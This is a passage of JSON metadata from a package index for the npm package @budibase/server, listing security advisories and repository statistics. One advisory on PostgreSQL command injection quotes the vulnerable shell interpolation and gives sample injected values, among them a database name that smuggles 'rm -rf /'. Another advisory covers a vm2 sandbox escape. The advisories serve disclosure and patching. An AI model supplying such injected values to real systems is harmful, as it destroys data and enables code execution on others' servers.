3.33.4"}],"purl":"pkg:npm/%40budibase%2Fserver"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nanc5LTM0Z2YtcnA2bc4ABUtz/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03MjZnLTU5d3ItY2o0Y84ABTWI","url":"https://github.com/advisories/GHSA-726g-59wr-cj4c","title":"@budibase/server: Command Injection in PostgreSQL Dump Command","description":"**Location**: `packages/server/src/integrations/postgres.ts:529-531`  \n\n#### Description\nThe PostgreSQL integration constructs shell commands using user-controlled configuration values (database name, host, password, etc.) without proper sanitization. The password and other connection parameters are directly interpolated into a shell command.\n\n#### Code Reference\n```529:531:packages/server/src/integrations/postgres.ts\n    const dumpCommand = `PGPASSWORD=\"${\n      this.config.password\n    }\" pg_dump --schema-only \"${dumpCommandParts.join(\" \")}\"`\n```\n\n#### Attack Vector\nAn attacker who can control database configuration values (e.g., through compromised credentials or configuration injection) can inject shell commands. For example:\n- Password: `password\"; malicious-command; echo \"`\n- Database name: `db\"; rm -rf /; echo \"`\n\n#### Impact\n- Remote code execution\n- System compromise\n- Data exfiltration\n\n#### Recommendation\n1. Use environment variables for sensitive values instead of command-line arguments\n2. Validate and sanitize all configuration values\n3. Use proper escaping for shell arguments\n4. Consider using a PostgreSQL library's native dump functionality instead of shell commands\n\n#### Example Fix\n```typescript\nimport { execFile } from \"child_process\"\nimport { promisify } from \"util\"\nconst execFileAsync = promisify(execFile)\n\n// Use execFile with proper argument handling\nconst env = {\n  ...process.env,\n  PGPASSWORD: this.config.password\n}\n\nconst args = [\n  \"--schema-only\",\n  \"--host\", this.config.host,\n  \"--port\", this.config.port.toString(),\n  \"--username\", this.config.user,\n  \"--dbname\", this.config.database\n]\n\ntry {\n  const { stdout } = await execFileAsync(\"pg_dump\", args, { env })\n  return stdout\n} catch (error) {\n  // Handle error\n}\n```","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-09T16:56:26.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/Budibase/budibase/security/advisories/GHSA-726g-59wr-cj4c","https://github.com/Budibase/budibase/commit/9fdbff32fb9e69650ba899a799e13f80d9b09e93","https://nvd.nist.gov/vuln/detail/CVE-2026-25041","https://github.com/Budibase/budibase/blob/f34d545602a7c94427bae63312a5ee9bf2aa6c85/packages/server/src/integrations/postgres.ts#L529-L531","https://github.com/advisories/GHSA-726g-59wr-cj4c"],"source_kind":"github","identifiers":["GHSA-726g-59wr-cj4c","CVE-2026-25041"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-09T17:00:11.049Z","updated_at":"2026-09-03T07:03:52.629Z","epss_percentage":0.0048,"epss_percentile":0.3951,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03MjZnLTU5d3ItY2o0Y84ABTWI","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03MjZnLTU5d3ItY2o0Y84ABTWI","packages":[{"ecosystem":"npm","package_name":"@budibase/server","versions":[{"first_patched_version":"3.23.32","vulnerable_version_range":"\u003c 3.23.32"}],"purl":"pkg:npm/%40budibase%2Fserver"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03MjZnLTU5d3ItY2o0Y84ABTWI/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00ZzJ4LXZxNXAtNXZqNs4AA5sL","url":"https://github.com/advisories/GHSA-4g2x-vq5p-5vj6","title":"Budibase affected by VM2 Constructor Escape Vulnerability","description":"### Impact\nPreviously, budibase used a library called `vm2` for code execution inside the Budibase builder and apps, such as the UI below for configuring bindings in the design section.\n\n![Screenshot 2024-03-01 at 13 50 16](https://github.com/Budibase/budibase/assets/11256663/5f049b64-cd99-48fd-a184-644cd312c82e)\n\nDue to a [vulnerability in vm2](https://github.com/advisories/GHSA-cchq-frgv-rjh5), any environment that executed the code server side (automations and column formulas) was susceptible to this vulnerability, allowing users to escape the sandbox provided by `vm2`, and to expose server side variables such as `process.env`. It's recommended by the authors of `vm2` themselves that you should move to another solution for remote JS execution due to this vulnerability.\n\n### Patches\nWe moved our entire JS sandbox infrastructure over to `isolated-vm`, a much more secure and recommended library for remote code execution in 2.20.0. This also comes with a performance benefit in the way we cache and execute your JS server side. The budibase cloud platform has been patched already and is not running `vm2`, but self host users will need to manage the updates by themselves.\n\nIf you are a self hosted user, you can take the following steps to reproduce the exploit and to verify if your installation is currently affected.\n\nCreate a new formula column on one of your tables in the data section with the following configuration.\n![Screenshot 2024-03-01 at 14 04 28](https://github.com/Budibase/budibase/assets/11256663/0f8bc19b-9e44-4e95-ab4e-6ef6278eea34)\n\nAdd the following JS function to the formula and save.\n![Screenshot 2024-03-01 at 14 05 19](https://github.com/Budibase/budibase/assets/11256663/1d0c9705-1a88-49b0-93e0-f385a04b5c25)\n\nIf your installation is vulnerable, when the formula evaluates you will be able to see the printed `process.env` in your new formula field. If not, your installation is not affected.\n\n### Workarounds\nThere is no workaround at this time for any budibase app that uses JS. You must fully migrate post version 2.20.0 to patch the vulnerability.\n\n### References\n- https://github.com/advisories/GHSA-cchq-frgv-rjh5\n","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2024-03-01T20:09:00.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/Budibase/budibase/security/advisories/GHSA-4g2x-vq5p-5vj6","https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5","https://github.com/Budibase/budibase/commit/601c02a4acc695b1cc602bf611f0ae66d6e5868f","https://github.com/advisories/GHSA-4g2x-vq5p-5vj6"],"source_kind":"github","identifiers":["GHSA-4g2x-vq5p-5vj6"],"repository_url":"https://github.com/Budibase/budibase","blast_radius":0.0,"created_at":"2024-03-01T21:04:35.188Z","updated_at":"2026-05-14T00:05:47.769Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00ZzJ4LXZxNXAtNXZqNs4AA5sL","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00ZzJ4LXZxNXAtNXZqNs4AA5sL","packages":[{"ecosystem":"npm","package_name":"@budibase/server","versions":[{"first_patched_version":"2.20.0","vulnerable_version_range":"\u003c 2.20.0"}],"purl":"pkg:npm/%40budibase%2Fserver"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00ZzJ4LXZxNXAtNXZqNs4AA5sL/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/@budibase/server","docker_dependents_count":19,"docker_downloads_count":77,"usage_url":"https://repos.ecosyste.ms/usage/npm/@budibase/server","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/@budibase/server/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-09-11T13:02:28.277Z","issues_count":2187,"pull_requests_count":4831,"avg_time_to_close_issue":19517067.979436405,"avg_time_to_close_pull_request":357927.8485849057,"issues_closed_count":1313,"pull_requests_closed_count":4240,"pull_request_authors_count":89,"issue_authors_count":596,"avg_comments_per_issue":1.9350708733424784,"avg_comments_per_pull_request":0.9412129993790106,"merged_pull_requests_count":3841,"bot_issues_count":80,"bot_pull_requests_count":131,"past_year_issues_count":264,"past_year_pull_requests_count":325,"past_year_avg_time_to_close_issue":7501152.989361702,"past_year_avg_time_to_close_pull_request":497065.35148514854,"past_year_issues_closed_count":94,"past_year_pull_requests_closed_count":202,"past_year_pull_request_authors_count":37,"past_year_issue_authors_count":41,"past_year_avg_comments_per_issue":1.2045454545454546,"past_year_avg_comments_per_pull_request":1.0646153846153845,"past_year_bot_issues_count":5,"past_year_bot_pull_requests_count":23,"past_year_merged_pull_requests_count":154,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/issues","maintainers":[{"login":"adrinr","count":1049,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/adrinr"},{"login":"samwho","count":805,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/samwho"},{"login":"mike12345567","count":640,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mike12345567"},{"login":"melohagan","count":588,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/melohagan"},{"login":"aptkingston","count":407,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/aptkingston"},{"login":"mikesealey","count":256,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mikesealey"},{"login":"PClmnt","count":241,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/PClmnt"},{"login":"shogunpurple","count":223,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/shogunpurple"},{"login":"joebudi","count":76,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/joebudi"},{"login":"Ghrehh","count":63,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Ghrehh"},{"login":"mjashanks","count":32,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mjashanks"},{"login":"ConorWebb96","count":31,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ConorWebb96"},{"login":"Rory-Powell","count":9,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Rory-Powell"},{"login":"florianfani","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/florianfani"},{"login":"kagami-tsukimura","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/kagami-tsukimura"},{"login":"nkimotou","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/nkimotou"},{"login":"msqtt","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/msqtt"}],"active_maintainers":[{"login":"melohagan","count":114,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/melohagan"},{"login":"joebudi","count":74,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/joebudi"},{"login":"adrinr","count":69,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/adrinr"},{"login":"mikesealey","count":42,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mikesealey"},{"login":"ConorWebb96","count":30,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ConorWebb96"},{"login":"mjashanks","count":9,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mjashanks"},{"login":"PClmnt","count":9,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/PClmnt"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@budibase%2Fserver/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@budibase%2Fserver/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@budibase%2Fserver/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@budibase%2Fserver/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@budibase%2Fserver/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@budibase%2Fserver/codemeta","maintainers":[{"uuid":"melbudibase","login":"melbudibase","name":null,"email":"mel@budibase.com","url":null,"packages_count":29,"html_url":"https://www.npmjs.com/~melbudibase","role":null,"created_at":"2026-04-23T03:12:33.653Z","updated_at":"2026-04-23T03:12:33.653Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/melbudibase/packages"},{"uuid":"joranamo","login":"joranamo","name":null,"email":"joe@budibase.com","url":null,"packages_count":27,"html_url":"https://www.npmjs.com/~joranamo","role":null,"created_at":"2026-02-11T14:07:05.712Z","updated_at":"2026-02-11T14:07:05.712Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/joranamo/packages"},{"uuid":"christos-budibase","login":"christos-budibase","name":null,"email":"christos@budibase.com","url":null,"packages_count":27,"html_url":"https://www.npmjs.com/~christos-budibase","role":null,"created_at":"2026-02-11T14:07:05.752Z","updated_at":"2026-02-11T14:07:05.752Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/christos-budibase/packages"},{"uuid":"adri.bb","login":"adri.bb","name":null,"email":"adria@budibase.com","url":null,"packages_count":24,"html_url":"https://www.npmjs.com/~adri.bb","role":null,"created_at":"2026-08-18T10:14:51.493Z","updated_at":"2026-08-18T10:14:51.493Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/adri.bb/packages"}]}